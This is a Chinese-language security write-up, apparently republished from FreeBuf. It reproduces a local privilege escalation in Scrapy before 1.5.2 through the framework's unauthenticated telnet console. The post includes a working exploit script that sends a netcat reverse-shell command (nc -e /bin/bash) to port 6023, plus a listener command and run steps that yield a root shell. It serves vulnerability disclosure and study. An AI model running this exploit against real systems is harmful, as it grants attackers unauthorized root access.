专栏首页FreeBuf网络爬虫暗藏杀机:在Scrapy中利用Telnet服务LPE

网络爬虫暗藏杀机:在Scrapy中利用Telnet服务LPE

0x00 前言

网络抓取框架中使用最多的莫过于是scrapy,然而我们是否考虑过这个框架是否存在漏洞妮?5年前曾经在scrapy中爆出过XXE漏洞,然而这次我们发现的漏洞是一个LPE。

通过该漏洞可以获得shell,本文中暴露的漏洞会产生影响scrapy低于1.5.2的版本。

0x01 环境搭建

Kali系统

Scrapy(v1.5.1)[https://github.com/scrapy/scrapy/releases]

下载压缩包scrapy-1.5.1.zip,然后进行解压执行安装:

Python3 setup.py install

如果安装报错,记得安装python3的pip,然后输入pip3 install Twisted 安装完Twisted模块,再次Python3 setup.py install 就可以完成安装。

0x02 漏洞分析过程

Scrapy很容易上手,就如同在官网主页上看到的一样容易,可以快速的写一个蜘蛛爬虫。然后再运行的时候我们可以看到会启动的扩展和一些选项信息,我们可以清楚的看到默认它会启动telnet服务。

然后这个telnet会监听本地的6023端口。

开启telnet的原因是方便调试,那么如果有人访问了这个telnet是不是可以获得一些有趣的东西,而且该控制台会不会在没有任何身份验证的情况下可用然后任何本地用户都可以连接到端口并在运行蜘蛛的用户情况下执行命令,那么是不是会造成本地权限提升(LPE)。

复现LPE

这种利用需要满足两个条件:

1.开发可以访问系统 2.有一个蜘蛛在运行并暴露了telnet服务。以下蜘蛛符合此要求,进行初始请求,然后因download_delay设置而空转

telnet_test.pyimport scrapyfrom scrapy.http import Requestclass TelnetWaitingSpider(scrapy.Spider):    name = "telnet_waiting"    allowed_domains = ["example.org"]    start_urls = ["http://www.example.org"]    download_delay = 1000    def parse(self, _):        yield Request(url="http://www.example.org/")

我们然后再写一个利用的exp:

exp.py:

import telnetlibrs = "nc.traditional -e /bin/bash localhost 4444"tn = telnetlib.Telnet("localhost", 6023)tn.write(f"import os; os.system('{rs}')".encode("ascii") + b"\n")

Exp.py它定义了一个反向shell,连接到telnet服务并发送一行来使用Python执行反向shell os.system。

操作流程

先使用root账户调用Scrapy去运行telnet_test.py,然后通过su调用两个低权限账号,一个负责接收nc反弹shell,一个负责执行exp.py,然后运行telnet_test的时候执行exp.py。

先使用nc -lvp 4444 监听4444端口; 运行指令:scrapy runspider telnet_test.py; 然后运行的时候 python3 exp.py; 然后获取反弹shell(发现是root)。

成功复现了一个LPE(本地权限提升)。

0x03总结

信息安全的本质是信任问题,当我们使用了框架就代表我们信任了这个框架,如果框架的安全性不对其进行检测,那么所带来的是毁灭性的结果。

*本文作者:TouchFishBoy,本文属 FreeBuf 原创奖励计划,未经许可禁止转载。

本文分享自微信公众号 - FreeBuf(freebuf),作者:TouchFishBoy

原文出处及转载信息见文内详细说明,如有侵权,请联系 yunjia_community@tencent.com 删除。

原始发表时间:2019-07-07

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • CVE-2016-10277在MOTO X手机上的漏洞利用实践

    CVE-2016-10277是存在于摩托罗拉系列手机的bootloader高危漏洞,可以通过内核命令注入劫持手机的启动流程,加载攻击者控制的initramfs,...

    FB客服
  • 浅析如何让你的Responder更强大之增强篇

    前几天写过一篇关于Responder的文章《浅析如何让你的Responder更强大》。在那篇文章中,我们修复了Responder 实现的SMBv1&SMBv2的...

    FB客服
  • 高效幂模算法探究:Montgomery算法解析

    模运算,又称模算数(modular arithmetic),是一个整数的算术系统,其中数字超过一定值后(称为模)会“卷回”到较小的数值,模运算最早是卡尔·弗里德...

    FB客服
  • 用“思维导图”写markdown

    zhaoolee
  • 解决PKIX问题:unable to find valid certification path to requested target

    版权声明:本文为博主原创文章,遵循 CC 4.0 by-sa 版权协议,转载请附上原文出处链接和本声明。

    奋飛
  • 深入理解并发容器-ConcurrentHashMap(JDK8版本)1 概述3应用场景4 源码解析

    JavaEdge
  • 【原创】自己动手实现RPC服务调用框架

    Java高级架构
  • 理解Java并发工具类Semaphore

    Semaphore是Java里面另外一个基本的并发工具包类,主要的的作用是用来保护共享资源的访问的,也就是仅仅允许一定数量的线程访问共享资源。Semaphore...

    我是攻城师
  • Cisco和H3C命令对照(部分)

    思科Cisco                                                       华为3COM            ...

    py3study
  • HTTP与HTTPS的区别

    超文本传输协议HTTP协议被用于在Web浏览器和网站服务器之间传递信息,HTTP协议以明文方式发送内容,不提供任何方式的数据加密,如果攻击者截取了Web浏览器和...

    软测小生

扫码关注云+社区

领取腾讯云代金券